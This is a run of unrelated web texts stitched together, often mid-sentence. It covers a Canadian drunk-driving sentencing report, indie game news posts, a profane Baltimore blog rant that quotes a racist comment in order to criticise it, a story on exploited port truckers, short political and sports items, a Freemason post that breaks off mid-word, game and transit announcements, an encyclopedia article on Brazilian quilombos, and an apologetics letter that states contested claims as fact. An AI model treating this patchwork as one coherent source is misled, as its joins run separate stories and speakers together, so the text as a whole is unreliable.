During the trial, Prosa had claimed his drink may have been drugged at a downtown club, making him involuntarily intoxicated. Prosa’s lawyer argued the charges should be stayed because the province-run lab didn’t properly seal Prosa’s blood sample before sending it to an independent lab. The sample leaked, and there was too little left to test. The judge found that Prosa’s Charter rights were violated by the loss of the blood sample but denied the application to stay the charges. In making his decision, Hainey found that Prosa, a university student with no past criminal record and the support of his family, is unlikely to offend again and is a good candidate for rehabilitation. Though Prosa did not speak to the court, he expressed remorse for his actions through a pre-sentence report. Hainey also emphasized the seriousness of this case and the need for deterrence. The Court of Appeal of Ontario has observed that sentences in fatal drunk driving cases have become harsher in recent years, a result of the problem persisting, Hainey noted in his decision.
The Crown had asked for a sentence of eight years, the defence, three years. Outside court, Antonette Wijernatne and her son Brian criticized the penalties imposed for fatal drunk driving cases in Canada as being too lenient.
Article Continued Below
“This pattern of carelessness and needless death needs to change. Our laws need to change,” said Brian. “Life in prison sends a clear message that drunk driving has no excuses. It sends a message that getting behind the wheel of a vehicle and killing people is no different than any other kind of murder.” In a shaky voice, Antonette spoke about the terrible human cost of drunk driving — the loss of half her beloved family, and in a recent crash alleged to be caused by alcohol, the deaths of three young children and their grandfather. “We never run out of drinking and driving cases. One has to think people aren’t considering this kind of thing might happen when they get behind the wheel,” Crown prosecutor Tom Goddard said following the decision. “They don’t ask themselves what it would look like if someone gets killed. This is what it looks like.” At Queen’s Park, Premier Kathleen Wynne said the government is open to taking a harder line on drunk drivers as public attitudes toward it evolve, particularly after such “incredibly tragic” events like the Highway 427 crash. “I’m not going to second guess or comment on a particular sentence that was meted out. What I know is the pain that was felt by this family is permanent and it’s hard to imagine that there would be a way to alleviate that,” she told reporters. “We have increased penalties... if there are more severe penalties that need to be put in place we will certainly look at that.” With files from Rob FergusonTrouble With Robots released on Android
The mobile version of Trouble With Robots is available for Android on Google Play. In addition the iPhone / iPad version has been updated with bug fixes and new options.
Trouble With Robots is out now on iOS!
Get your iPhones and iPads out, the iOS version of The Trouble With Robots is out now and it's free to download! Or check out the trailer video on the official site!
Trouble With Robots coming to iOS November 27th
Twitter!
I'm told there's also an Android version in the works! Our friends at Art Castle have been busy creating an iOS version of The Trouble With Robots, due to be launched on the App Store on Thursday the 27th of November 2014. If you'd like to know more, head over to the official site and sign up for updates, or follow the developer on Facebook I'm told there's also anversion in the works!
Merry Clickmas!
Just for fun, Digital Chestnut has released a free web-based game along the lines of Cookie Clicker and Candy Box. Click here to start playing!
Megamort Expansion is Here!
If you've purchased the game previously please More levels, more cards and more robots await you in The Trouble With Robots Megamort expansion!If you've purchased the game previously please click here to download the free Megamort expansion patch. New customers will find the expansion is already included in their copy of the game.
Megamort Coming Soon
The Megamort expansion will be out on Wednesday the 28th of November 2012, free to new and existing customers! In addition to 10 new levels it will include 8 exciting new cards like these:
Expansion In Progress...
Digital Chestnut is working on a free expansion to The Trouble With Robots, codename Megamort. The expansion will feature 8 new story levels, 2 new challenge levels and a yet to be determined number of new cards.
Great Reviews and Price Drop
The Trouble With Robots is Out Now!
The Trouble With Robots is available now for Windows PCs. Download the demo or purchase the full version from this site.
Coming Soon... The Trouble With Robots will be available to download in less than a week!
More Screenshots
I've added a few new screenshots to the Gallery
Release Date Announced The Trouble With Robots will be released for PC on Thursday 23rd of August 2012, priced at $18.99 / €16.50 / £12.99. Both the full game and a free demo will be available to download from this site.
Video
Digital Chestnut is pleased to announce a trailer video for The Trouble With Robots, our upcoming customisable card game for PC. Check it out on the game page
Gallery As part of a much needed overhaul of this site, there is now a Gallery featuring 9 new screenshots alongside the existing images and card previews.
Apprentice Preview Added
Apprentice is one of three elf cards with a special ability that helps your side.
Slow Motion Preview Added Slow Motion is a useful defensive piece for many decks against a range of enemies.
Twitter!
I'm experimenting with twitter, you can follow my account @GeoffW0
The City
Since the game's almost finished it's about time I shared some more screenshots. Here's one of the city area, and there are a few more on the facebook page
Duplicate Preview Added
Duplicate is a combo-tastic card that lets you get the most out of your other favourites.
Mining Guild Preview Added
Another card preview, Mining Guild summons three dwarves and is great with any discard effect.
Boulder Crash Preview Added
Another card preview is up, this time of a direct damage spell. 'Boulder Crash' makes an excellent centre piece for any dwarf deck.
Card Previews
Previews are up of a few of the cards in The Trouble With Robots. The game's in very good shape and I'm looking forward to showing you more in the coming weeks!
We're on Facebook!
First look at The Trouble With Robots
The first screenshots of The Trouble With Robots in action are available here. More information coming soon...
The Trouble With Robots
The game will be available for Windows PCs early in 2012. Digital Chestnut is working on The Trouble With Robots, a real time card strategy game where you summon creatures, cast spells and smash robots! It's a bit like a collectible card game (such as Magic: The Gathering ) but the action unfolds smoothly in real time rather than in turns. I guess that sounds a bit like EA's Battleforge, but it's really closer to Plants vs Zombies The game will be available for Windows PCs early in 2012.
Game in Development
I prototyped some game ideas earlier this year, and one of them really stood out. Digital Chestnut is developing this idea...
About Digital Chestnut
Digital Chestnut is an independent computer game developer, run by Geoffrey White.It happened again on my blog this week (www.thatguysonheroin.com)… I posted something quasi-positive about Baltimore City and just like that the fucking buzz-kill brigade descended on my Facebook page to spread their own miserable views of Baltimore City which, I definitely did not fucking ask for.
Listen… I run a blog which makes some pretty snarky remarks about heroin addicts in my city. I taunt my city and our inability to remove such an obvious social cancer from plain view of the hard working people who make this city run. I do it in jest. I do it for fun. I do it because I know we can do better.
I don’t do it because Baltimore City is beyond repair. In fact, I live in Baltimore City and see it is just the opposite on a daily basis. And it’s not just that Baltimore is growing and developing, it’s growing with high paying jobs.
Baltimore is among the top five metro regions in growth of high paying jobs.
[http://www.forbes.com/pictures/fiek45fhh/no-4-baltimore-towson-md/]
You can’t possibly flood that much money into a metro area without positive development spilling over into the most densely populated area of the region, and as a result we see new developments occurring at a rate even the believers never imagined in the city.
[http://www.baltimoresun.com/news/maryland/bs-md-rodricks-0415-20140415,0,4417275.column]
All of this is good news right? Well read the comments on that article above. You’ll see that any good news, development, article, or so on towards Baltimore City is met with rabid hatred almost immediately. Let’s take Harford Bob’s comment…
This is pathetic. Anyone who would ever want to live in the city is supporting failure. They should be punished for this and for making us pay for everything.The bleeding heart ***lovers are living in a zoo. I don’t know why we should support it.
So one dude writes a blatantly racist, outwardly hateful comment about Baltimore City… in a publication which is for the people of Baltimore City. This wouldn’t be so bad if there weren’t 72 similar comments along with it.
The surprising glee that so many people take in the failures of Baltimore is disturbing, but the complete lack of acknowledgement for our success is completely unacceptable. For most, like Mr. Bob it’s strongly rooted in the city’s perceptions as a black city.
Small side note about race…
Yes, black people live in Baltimore City. Get the fuck over it. Lot of different cultures live in Baltimore City. It’s part of that “diversity” that white people love to pretend to embrace, but move away from the moment they have kids (and if you’re white and don’t move away, get used to this question — “What about the schools?!” — with a real concerned look on their face, like they’re going to have raise your kids or something…).
You could do what Mr. Bob does and assume that all others not like you are equivalent to zoo animals. However, if you actually take the time to TALK to your neighbors — regardless of race — you’ll find that they’re probably just as concerned about the same things Mr. Bob is concerned about: crime, schools, trash, etc.
The inability of people like Mr. Bob to see that just shows you how little interaction he’s had with people outside of his own race, and what a sad, small life he’s been living.
Back to the point…
You fucking whiners have no idea what you have.
Bitching about Baltimore has gotten to be a pastime of sorts, and I guess I’m really writing this to let you know it’s fucking lazy. It takes no effort to point out the bad things in life. We all have something we can complain about, and to be honest YOU DON’T REALLY HAVE IT THAT BAD!
Baltimore is affordable, has GREAT neighborhoods, has great paying jobs, you are a 2.5 hour train ride from NYC and 45 minutes from DC, is developing like crazy and crime has been going down for almost a decade straight… AND STILL YOU BITCH.
I wish I could banish the people who bitch about Baltimore to Buffalo, NY for a year every time I read them publicly whining on one of our news outlets. After the year you have to write me a three page essay on why you won’t take the good things in this area for granted to get back in… and I’m a tough fucking grader!
Here are some comments which will get you a one way ticket to Buffalo:
“I left my laptop, iPhone, TV, iPod, rolled up wad of $100 bills, bar of gold, and original Renoir in the back of my Honda Accord parked in a residential neighborhood for three weeks with the dome light on… AND SOMEONE BROKE IN MY CAR!! WHAAAAAA!!!!”
“Our completely safe, walkable, and extremely amenity-filled neighborhoods downtown have BAD PARKING!! I can’t have my two SUVs in front of my home at all times and still live in the downtown district of a major east coast city!! WHAAAA!!!”
“But we only have TWO Whole Foods, and one of them is SMALL. WHAAA!!!”
Fuck all of you.
You’re surrounded by good things and only choose to see the bad. Sure, just like anywhere in the world things could be better. Work for them. Make them better. Complaining solves nothing and is the cheap way out of doing anything about the problems.
You have so much. More than most cities will ever have and only slightly less than the cities that you strive to be. Honestly, this city is like that spoiled rich kid in school complaining that his parents only bought him the Boxster and not the 911 for his 16th birthday…
Grow the fuck up. Get the fuck out. And when you realize that this city wasn’t making you miserable, YOU were making you miserable, maybe you can come back.
Maybe. But not before writing three pages… single spaced.CLOSE A USA TODAY Network investigation found a predatory scheme that ensnared thousands of immigrant truck drivers at the port. Scott Hall
Rene Flores lost his job, his truck and $60,000 he paid toward buying it after he spoke to reporters about working conditions
Rene Flores stands outside his home with his family, Napoleon Flores, 11, Jose Flores, 13, and his wife Marlenis Flores. (Photo11: Omar Ornelas, USA TODAY Network)
Rene Flores said he regularly broke the law as a port trucker in southern California, hauling shipping containers up to 20 hours straight between Long Beach and Phoenix.
He kept a fake logbook tucked beneath his seat so regulators wouldn’t know he was violating federal fatigue laws for commercial truckers.
He said his company paid him so little -- and charged so much for his leased truck -- that he had no choice.
Flores said his managers at Morgan Southern knew about his hours, but for years the trucking company looked the other way.
Then, the 36-year-old father of two talked publicly about his illegal hours in a USA TODAY Network story.
On June 17, the day after the story published, Morgan Southern fired him.
Flores couldn’t afford to pay off the $30,000 balance on his leased truck, so the company took that too. Flores lost $60,000 in lease payments he had made since 2013.
What happened to Flores is just the latest episode in a decade-long struggle that has seen hundreds of port truckers in California turned into modern-day indentured servants.
As the USA TODAY Network reported last month, many of these drivers say they were forced by their bosses to sign lease-to-own truck contracts, putting them in debt to their own employers. The trucks are so expensive – up to several thousand dollars a month for payments and maintenance – that some drivers say they have no choice but to work 15 to 20 hours a day.
Drivers who refused to work or who filed complaints say they faced retaliation by their employers, who could fire them or assign them lower-paying routes until they actually owed money to their company on payday.
In case after case, drivers who quit or got fired lost their truck and everything they had paid towards owning it.
Flores said he was 10 months from the end of his lease contract when he was fired.
“Can you imagine sacrificing four years?” Flores said of the long weeks away from his wife and two sons, often for pay that dropped below minimum wage. “For all that sacrifice, I thought the truck would be mine.”
As part of a yearlong investigation into port trucking, the USA TODAY Network interviewed Flores and reported his story. He said that he regularly worked up to 20 hours a day and that he used a fake log book to avoid detection by federal regulators.
“Of course they (his employers) know,” he was quoted as saying in the original story. “But the company doesn’t care.”
Robert Milane, a spokesman and lawyer for Morgan Southern’s parent company Roadrunner Transportation, confirmed that Flores’ public criticism, coupled with the fact that he refused to use electronic logbooks, forced the company to act.
“The fact that he stated that in his interview, we had no choice to terminate his lease,” Milane said.
“He brought this on himself.”
Milane also denied that Flores drove more than federal law permits. He said Morgan Southern’s electronic time logs prevent any driver from doing so.
“What he says wasn’t true,” Milane said. “I know he wasn’t running over hours.”
But Flores said he would simply switch over to paper logbooks when he knew he would be working past federal limits.
Another Morgan Southern driver, Jose Juan Rodriguez, told reporters in December that when he was still leasing his truck he, too, often drove well past the legal limit. "Many times,” he said, “we complain to the supervisor but we’re told that if we aren't willing to work, 'there is the door.'"
Since July, 2015, Morgan Southern has been cited 15 times for hours violations in California, according to Department of Transportation inspection reports.
Using California’s open records law, reporters obtained a port authority database that records the exact time a truck enters or exits the gate at the ports of Long Beach and Los Angeles.
A USA TODAY Network analysis of the data shows that Flores’ truck was in operation for at least 14 hours without the required 10-hour break at least nine times between 2013 and 2015. That number is likely an undercount because one of his most frequent routes took at least 13 hours, meaning he wouldn’t pass through port gates enough to be flagged as working too long.
Other Morgan Southern trucks appear to have exceeded hours limits more than 500 times from 2013 to 2016, the data show. Three out of four of the company’s rigs went over hours at least once.
It is not clear whether these instances are violations because two drivers might divide time behind the wheel of a single truck.
Trucking experts and regulators say it can be a federal crime for company managers to knowingly send drivers on the road past federal limits.
Companies are responsible for tracking their workers’ hours, even if they’re classified as independent contractors, said Craig Weaver, a motor carrier safety specialist with the California Highway Patrol.
“They know how many hours their guys are working,” he said. “Or they should.”
Kelsey Frazier is a Teamster trustee and foreman at another California port trucking company, Pasha Hawaii. He said most companies have safety managers whose job is to track how long truckers have been on the road based on their pickups and drop offs, which get called into the office.
Frazier said companies should know if drivers are over on their hours because they control when drivers are dispatched.
“I can promise you the company is tracking this,” he said. “Because you’re liable if you don’t.”
Read or Share this story: https://usat.ly/2tZSw72WASHINGTON -- The Republican Party in recent days has rallied around the idea, pushed prominently by Tea Party activists, that Congress should resist earmarks, those pork-barrel projects that help filter money back to home districts.
But even as they publicly push a moratorium on the practice, some in the caucus are looking for a way out. On Tuesday morning, Rep. Michele Bachmann (R-Minn.) told the Minneapolis Star Tribune that she wants to redefine exactly what an earmark is. Specifically, she said, transportation projects should not be placed under the umbrella.
"Advocating for transportation projects for ones district in my mind does not equate to an earmark," said the Minnesota Republican. "I don't believe that building roads and bridges and interchanges should be considered an earmark... There's a big difference between funding a tea pot museum and a bridge over a vital waterway."
As one of the leading Tea Party figures in D.C., Bachmann could risk tarnishing her brand and the brand of the movement in her attempts to emphasize the need for a redefinition of earmarks. As one Republican operative, who pointed out the quote to the Huffington Post, noted, her logic is "just odd."With outfielder Peter Bourjos bound for three-day paternity leave after the birth of his first child, the Cardinals called up 29-year-old reliever Mitch Harris to join their roster for Tuesday’s game against the Nationals in Washington.
Harris comes with an interesting backstory: He is a graduate of the U.S. Naval Academy, the first to ascend to the big-league ranks since Nemo Gaines made four appearances out of the Washington Senators’ bullpen in 1921.
The right-hander was drafted in the 13th round in 2008 and hoped to receive an assignment that would allow him to pursue pitching professionally. But with the country at war, Harris’ request was denied and he spent nearly five years on active duty — including drug-patrol tours in South America and two trips to the Middle East — before getting his discharge in early 2013. When he arrived to Cardinals camp that year, he told Derrick Goold of the St. Louis Post-Dispatch about preparing for a baseball career in the Persian Gulf:
While at sea, Harris did what he could to keep his arm in shape. He always packed a glove. His dad shipped him new baseballs in care packages…. A few baseballs left behind in the Persian Gulf are his. “I’d go out and throw with one of the guys and just think, ‘I’m in the middle of the Persian Gulf preparing to play baseball.’” Harris said. “Here I am surrounded by water, can’t see land, the ship is moving a little bit. But it was this kind of mentality: If I don’t, then I won’t.”
Harris made his professional debut in Class A ball later that year and sped through the Cardinals’ system, reaching Class AAA Memphis by the end of the 2014 season. He begins his Major League career with a lifetime 2.78 ERA in 94 innings across 66 minor league appearances.Good morning brethren. Its been a while since I’ve posted.
Today I want to talk about something that hit
me yesterday in a conversation on a post of one of my tie knots.
The art of looking sharp.
Why I like to dress up for lodge.
Freemasonry is an amazing fraternity. Though some of us may not see eye to eye on everything, one thing is almost completely accepted amongst masons. Sport coat and tie, are typically minimal protocol for dress code to lodge.
I have to admit. When I began my journey a year ago, I considered wearing my regular shoes with a suit. I’ve long disliked wearing a suit, button up shirts, ties, or anything of that nature. Not because it’s uncomfortable, simply because to me, it wasn’t who I was. Now, as a master mason, I have since changed my outlook on the attire and have embraced it fully. Down to learning to the multiple style knots. Not to show off, or to be overly flamboyant; but because it’s a sense of accomplishment. Dressing for |
Battlegrounds, Challenge Modes, and more.
Warlords of Draenor is available now in a digital and physical Standard Edition (SRP: $49.99 USD) as well as a Digital Deluxe Edition (SRP: $69.99), which includes in-game bonus items for World of Warcraft and other Blizzard games. The expansion is also available in a retail-exclusive Collector’s Edition (SRP: $89.99), which comes equipped with the digital bonus items from the Digital Deluxe Edition as well as a full-color hardcover art book, a behind-the-scenes two-disc Blu-ray/DVD set, a CD soundtrack, and a Warlords of Draenor mouse pad. Players should check their local retailer for details and availability.
All versions of the expansion come with one level-90 character boost, making it easier than ever for new and returning players to experience Warlords of Draenor’s content alongside their friends and family.†† For more information, visit www.warlords.com.
Warlords of Draenor has received a Teen rating from the ESRB. In addition to the English version, the expansion is available fully localized into Latin American Spanish, Brazilian Portuguese, French, German, European Spanish, Italian, Russian, Korean, traditional Chinese, and simplified Chinese.
With multiple games in development, Blizzard Entertainment has numerous positions currently available—visit http://jobs.blizzard.com for more information and to learn how to apply.
World of Warcraft’ s Subscriber Definition
World of Warcraft subscribers include individuals who have paid a subscription fee or have an active prepaid card to play World of Warcraft, as well as those who have purchased the game and are within their free month of access. Internet game room players who have accessed the game over the last thirty days are also counted as subscribers. The above definition excludes all players under free promotional subscriptions, expired or cancelled subscriptions, and expired prepaid cards. Subscribers in licensees’ territories are defined along the same rules.From Brian Liang with Metro’s bike team:
Ever tried to commute to work by bike? On Thursday, May 19, join thousands of other bike commuters around Los Angeles County for Bike to Work Day!
To make your bike commute super easy and fun, there will be pit stops located around the county to provide you with tips, refreshments, giveaways and more! Check out the map below for a list of bike to work day pit stops:
Also, on Bike to Work Day, Metro buses and trains are free for those boarding with a bike or bike helmet. To claim your free ride on Metro rail at latched stations, use the Gate help intercom located near the fare gates to notify the attendant who will open the ADA gates for you.
If you have never tried commuting to work or to the train by bicycle, May 19 is the perfect day to give it a go! From bike to train and back again!
Check out our Bike Month website for all the details on Bike Month 2016.
Like this: Like Loading...Senate Democrats said they were “alarmed” about Education Secretary Betsy DeVos’ enforcement of civil rights laws aimed at protecting students in a letter on Tuesday.
“We are extraordinarily disappointed and alarmed by recent actions you and your staff have taken that have diminished the U.S. Department of Education’s…enforcement of federal civil rights laws,” Senators wrote in the letter, adding that recent actions by the department had “reemphasized longstanding concerns about your dedication to the idea that all students, no matter their race, religion, disability, country of origin, sex, sexual orientation, or gender identity, have a right to receive an education free from discrimination.”
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The letter was signed by 34 Democratic Senators, led by Washington Sen. Patty Murray, ranking member of the Senate Health, Education, Labor, and Pensions (HELP) Committee. The Senators cited proposed cuts to the budget of the Office for Civil Rights, as well as DeVos’ testimony about the federal government’s role in prohibiting discrimination and her defense of the Trump Administration’s decision to rescind guidelines that allowed transgender students to use bathrooms aligned with their gender identities.
“You claim to support civil rights and oppose discrimination, but your actions belie your assurances,” Senators wrote in the letter.
They gave DeVos a deadline of July 11 to provide a list of all open Office for Civil Rights cases involving a transgender student, open cases involving sexual assault or sexual harassment, and cases that have been closed or dismissed since Jan. 1.
Write to Katie Reilly at Katie.Reilly@time.com.Brazilian hinterland human settlement founded by people of African origin including the Quilombolas, or Maroons
This article is about a kind of settlement. For other uses of "Quilombo", see Quilombo (disambiguation)
Brazilian Quilombolas during a meeting in the capital of Brazil, Brasília
A quilombo ( Portuguese pronunciation: [kiˈlõbu]; from the Kimbundu word kilombo, "campsite, slave hut")[1] is a Brazilian hinterland settlement founded by people of African origin including the quilombolas, or maroons and others sometimes called Carabali. Most of the inhabitants of quilombos (called quilombolas) were escaped slaves. However, the documentation on runaway slave communities typically uses the term mocambo, an Ambundu word meaning "hideout", to describe the settlements. A mocambo is typically much smaller than a quilombo. Quilombo was not used until the 1670s and then primarily in more southerly parts of Brazil.
A similar settlement exists in the Spanish-speaking countries of Latin America, and is called a palenque. Its inhabitants are palenqueros who speak various Spanish-African-based creole languages.
Quilombos are identified as one of three basic forms of active resistance by slaves. The other two are attempts to seize power and armed insurrections for amelioration.[2] Typically, quilombos are a "pre-19th century phenomenon". The prevalence of the last two increased in the first half of 19th-century Brazil, which was undergoing both political transition and increased slave trade at the time.
Lives of slaves [ edit ]
Legal slavery was present in Brazil for approximately four centuries, with the earliest known landing of enslaved Africans taking place 52 years after the Portuguese were the first Europeans to set foot in Brazil in 1500.[2] The demand for enslaved Africans continued to increase through the 18th century, even as the Brazilian sugar economy ceased to dominate the world economy. In its place, crops such as tobacco increased in prominence.[3]
During the sugar boom period (1570–1670), the sugar plantations in Brazil presented hellish conditions, even including the personal brutality of some slave owners. There was high physical exertion on workers, especially during harvest season. In addition, enslaved people were held to nearly-impossible daily production quotas while having to contend with lack of rest and food. Economically in sugar plantations, it was cheaper for owners of enslaved Africans to work them to death and get new replacement enslaved people.[4] Conditions were so bad that even the Crown intervened on at least two occasions, forcing plantation owners to give their slaves sufficient food.[3]
History [ edit ]
See Atlantic Slave Trade for a comprehensive narrative of slavery in Brazil
Settlements were formed by enslaved Africans who escaped from plantations. Some slave owners, such as Friedrich won Weech, regarded the first escape attempt as a part of "breaking in" process for new slaves. The first escape attempt would be punished severely as a deterrent for future escapes. Slaves who tried to escape a second time would be sent to slave prison, and those who tried a third time would be sold.[5] In general, slaves who were caught running away were also required to wear an iron collar around their necks at all times, in addition to the punishment they received.
Not all slaves who ran away formed settlements in Brazil. Escape from a life of slavery was a matter of opportunity. Settlements were formed in areas with dense populations of slaves, like Pernambuco, where the biggest collection of mocambos formed the quilombo that became Palmares. Some, among them Mahommah G. Baquaqua, escaped to New York because his multiple attempts at escape and suicide led to him being sold to a ship’s captain.[6]
It is widely believed that the term quilombo establishes a link between settlements and the culture of central West Africa where the majority of slaves were forcibly brought to Brazil.[citation needed] During the era of slave trafficking, natives in central Angola, called Imbangala, had created an institution called a kilombo that united various tribes of diverse lineage into a community designed for military resistance.[citation needed]
Many quilombos were near Portuguese plantations and settlements. To keep their freedom, they were active both in defending against capitães do mato and being commissioned to recapture other runaway slaves. At the same time, they facilitated the escape of even more slaves.[citation needed] For this reason, they were targets of the Dutch, then Portuguese colonial authorities and, later, of the Brazilian state and slave owners.
Despite the atmosphere of cooperation between some quilombos and the surrounding Portuguese settlements, they were almost always eventually destroyed. Seven of 10 major quilombos in colonial Brazil were terminated within two years of formation. Some mocambos that were farther from Portuguese settlements and the later Brazilian cities were tolerated and still exist as towns today, with their dwellers speaking Portuguese Creoles languages.[7]
Palmares [ edit ]
The most famous quilombo was Palmares, an independent, self-sustaining community near Recife, established in about 1600. Palmares was massive and consisted of several settlements with a combined population of over 30,000 citizens, mostly blacks. It was the only quilombo to survive almost an entire century, with the second longest-standing quilombo in Mato Grosso lasting only 25 years.[8] Part of the reason for the massive size of the quilombo at Palmares was because of its location in Brazil, which was at the median point between the Atlantic Ocean and Guinea, an important area of the African slave trade. Quilombo dos Palmares was a self-sustaining community of escaped slaves from the Portuguese settlements in Brazil, "a region perhaps the size of Portugal in the hinterland of Bahia".[9]
At its height, Palmares had a population of over 30,000. Forced to defend against repeated attacks by Portuguese colonists, the warriors of Palmares were experts in capoeira, a dance and martial art form.[citation needed]
Ganga Zumba and Zumbi are the two most well known warrior-leaders of Palmares which, after a history of conflict with, first, Dutch and then Portuguese colonial authorities, finally fell to a Portuguese artillery assault in 1694. Portuguese soldiers sometimes stated it took more than one dragoon to capture a quilombo warrior, since they would defend themselves with a strangely moving fighting technique. The governor from that province declared "it is harder to defeat a quilombo than the Dutch invaders".[citation needed]
In Brazil, both men are now honored as heroes and symbols of black pride, freedom and democracy. Zumbi's execution date (as his birthday is unknown), November 20, is observed as Dia da Consciência Negra or "Black Awareness Day" in the states of Rio de Janeiro and São Paulo, and his image has appeared on postage stamps, banknotes and coins.
Movie [ edit ]
A 1984 film entitled Quilombo[10] depicts the rise and fall of Palmares. Directed by Carlos Diegues, Quilombo is a historical epic that chronicles the lives of Ganga Zumba and Zumbi.
Constitution of Brazil [ edit ]
Article 68 of the 1988 Constitution of Brazil granted the remaining quilombos the collective ownership of the lands they had occupied since colonial times.[11]
Bust of Zumbi in Brasília. The plaque reads: "Zumbi dos Palmares, the black leader of all races."
In Castilian [ edit ]
In the Castilian language of the Southern Cone the word quilombo has come to mean brothel; in Argentina, Bolivia, Honduras, Paraguay and Uruguay, a mess, noise or disorder; in Venezuela, a remote or out-of-the-way place.[12]
See also [ edit ]
References [ edit ]He has agreed to let me prove it to him. However, we have one problem. He has a problem with the Bible saying the Bible is the word of God. Understand? Any ideas of how to approach that?
I just came upon your web site and was reading about the Bible being the inspired word of God. I believe it...wholeheartedly...but I have a friend who is skeptical. I am looking for input on how to deal with this questions.
Hi Joyce,
Your question is a good one. Many times people will raise an objection to a Christian's belief in the Bible as being the infallible word of God. They claim that using the Bible to support the Bible is "circular reasoning" ( testing the validity of an idea by its own pronouncements). This is not so.
We must first remember in discussing the claims of the Bible with anyone, that the Bible is not a single, autonomous work. Rather, it is a collection of 66 different books written over a vast time span in three languages on three continents with authors from every station in life. These ancient works cover every major topic dealing with the human condition including: love, hate, death, sin, marriage, civil laws, and relationships with each other as well as with God. Although these works were written independently, they show an amazing congruency and they never contradict each other!
When Paul writes "All scriptures is inspired by God (II Tim 3:16)", his primary reference is the Old Testament, which was completed 400 years previously. This is not to say that the verse doesn't apply to the New Testament as well, but Paul's subject matter was the Scriptures Timothy was taught as a child. Paul believes the Scriptures are "God-breathed"; that is they hold the same authority as if God were to come down and speak to you directly. Every word recorded in the original documents is considered to be chosen by God.
So, our first point is that the testimony of Paul establishes a point of view that holds the Scriptures very highly. We know that the early church believed the Scriptures were inspired, we must now find out how to demonstrate that fact. Before going too far, I would ask your friend what type of evidence is he willing to accept to demonstrate the Bible as the Word of God? We obviously cannot go into a laboratory and test for "God residue" on the text, so to ask for scientific proof is impossible. (Likewise, asking for scientific proof that one loves his spouse is absurd. True science is limited to making claims on that which it can disprove through experimentation. Since science does not have any objective standards for measuring "God-ness", it cannot be asked to make a determination on His existence.) This doesn't mean we cannot reach a satisfactory conclusion based on the evidence before us, though.
What we are really interested in, then, is to determine if the Bible is a book that is the true words of God given to men, or is it merely the words of men written about God? If it is the latter, then it should display characteristics like those of other books written by men about God. It really shouldn't be all that different from many other works we possess. However, if it did come from God... well it should be astoundingly different. It should be a very one of a kind collection. It should be unique.
Let's examine what we do know about the Bible and see if it aligns with what we'd expect from a message whose source is God. We'll accept the premises that God exists and He created humanity with a desire to know Him. Anyone questioning these ideas is arguing another point; one which must be addressed separately. In his landmark Evidence That Demands a Verdict, Josh Mc Dowell notes that if God created man with a desire to know Him, we would expect His message to have some unique properties:(1)
It would be widely distributed so man could attain it easily
It would be preserved through time without corruption
It would be completely accurate historically.
It would not be prone to scientific error or false beliefs held by the people of that time.
It would present true, unified answers to the difficult questions of life.
The Bible stands alone as the only religious text that can claim it meets all the above criteria. I think it would be helpful if we compare the Bible with some of the other ancient texts and see just how unique the Bible is.
External evidence for the validity of the documents
The first qualification listed above is any message from the Creator would have to distribute His message to a wide audience. The Bible is next to none in this test.(2) It is the most published book in history, with the widest distribution of any published work. It has been translated into more languages than any other book. It is the most sold book in history. It was the first book published with moveable type. It is still the #1 best seller of any book. Now, none of these feats prove that the Bible was inspired. They are, however, consistent with what we would expect of God's message if He were trying to let us know about Himself and His plan for us. In other words, one cannot disqualify the Bible on this point. Many other ancient writings fall short, but it behaves as we would expect.
We also agreed that the message would be able to last through time. If God's message to you got lost, then of what use is it to you? If the message is corrupted in some way, how do you know which parts are from God and which are not? This is a tricky point to understand. This does not mean that no one will ever be able to mis-translate the Bible or add things to it, for I can write down a verse in this letter and copy it incorrectly. It does mean that we should be able to somehow discern where the errors in the copies are and also know the original intent of the message.
Because ancient writing surfaces were natural in their origin, they could decay easily. Papyrus, clay, and animal skins of the Old World did not have an incredibly long "shelf life". Therefore, we do not have any of the original documents (called autographs) that the Biblical authors wrote. However, we do have copies of the originals (called manuscripts) and can compare them to discern what were in the originals, and what wasn't. The more copies you have from different places, and the closer they are in age to the original, makes the process more assured. It's like the old game "telephone"; those who are closer to the originator of the message got more of it right than those at the end of the line. Also, by giving the same message to five or six telephone lines, with some effort you could probably reconstruct the original message by what the participants recall.
Now, this entire exercise is nothing restricted to the Bible alone. Every ancient document is tested as to its reliability in this same way. Historians look for copies of the text, from where they originated, their age and proximity to the autographs, and if the documents were quoted in other works to help them in determining the closest rendering of the text to its original form.
The Bible has an incredible amount of manuscript evidence to authenticate its message as it was originally written. Of every ancient literary or historical work, none can come remotely close to the huge amount of manuscript evidence for the New Testament.(3) There are over 5,300 manuscripts or parts of manuscripts we can examine today. If you count all the early copies of translations of the New Testament, the number skyrockets to over 24,000. This is such an astounding amount, it's about 43 times as much as the second most prevalent writing, The Iliad, with only 643. Both The Iliad and the Bible were works venerated as sacred writings, and viewed as having the answers to questions of the supernatural and the afterlife. Both fought attempts at additions, textual changes and corruption. The Iliad has over 400 lines in doubt out of 15,600. The New Testament with 20,000 lines has 40 lines in doubt, none of which substantially change its message.
Further, if we look at the time gap between the originals and the earliest copies of these cherished texts, we again see that the New Testament is far more reliable. The Iliad has a gap of about 500 years before the first manuscripts appear, where the Bible's books have pieces ranging from as close as 35 years after the original composition.
The Old Testament, unfortunately, does not share the wealth of manuscript evidence that the New Testament possesses. However, because of the Dead Sea Scrolls and other discoveries, along with ancient Hebrew sources that quote from the Old Testament, we are assured that it is in the same form as it was in Jesus' day. The Dead Sea Scrolls themselves included almost all of the Old Testament canon and they date from 250B.C. to 100A.D. Also, the copies of the Septuagint, which was a Greek version of the Old Testament written about 250B.C., show the text we have today has been nearly perfectly preserved.
Next, we must look at the facts of history and see whether the Bible reports these accurately. If this truly is a book written by God, then the facts must be presented unerringly. We have many written sources outside the Bible that corroborate its documentation. Flavius Josephus was a Jewish historian who lived in the first century. He not only preserves many traditions about events that are mentioned in the Old Testament, but also corroborates the existence of John the Baptist(Ant. XVIII.5.2), where it also mentions that Herod had him imprisoned and put to death. He also mentions James as the brother of Jesus along with his death by the high priest Annas(Ant. XX 9:1). Lastly, he mentions Jesus himself, who he characterizes as "a wise man". He further reports that people viewed Him as the Christ and that Jesus appeared to His disciples three days after Pilate put Him to death(Ant. XVIII.33). Remember, Josephus is a Jew, and would be adverse to Christianity and its message.
Other early documents authenticate the Bible accounts. The Jewish Talmud mentions Jesus and records His death on the eve of Passover. The early church quotes from the New Testament and authenticates it. Thallus, a Samaritan historian who wrote in 52 A.D. mentions the crucifixion, as did Phlegon, the Roman historian.
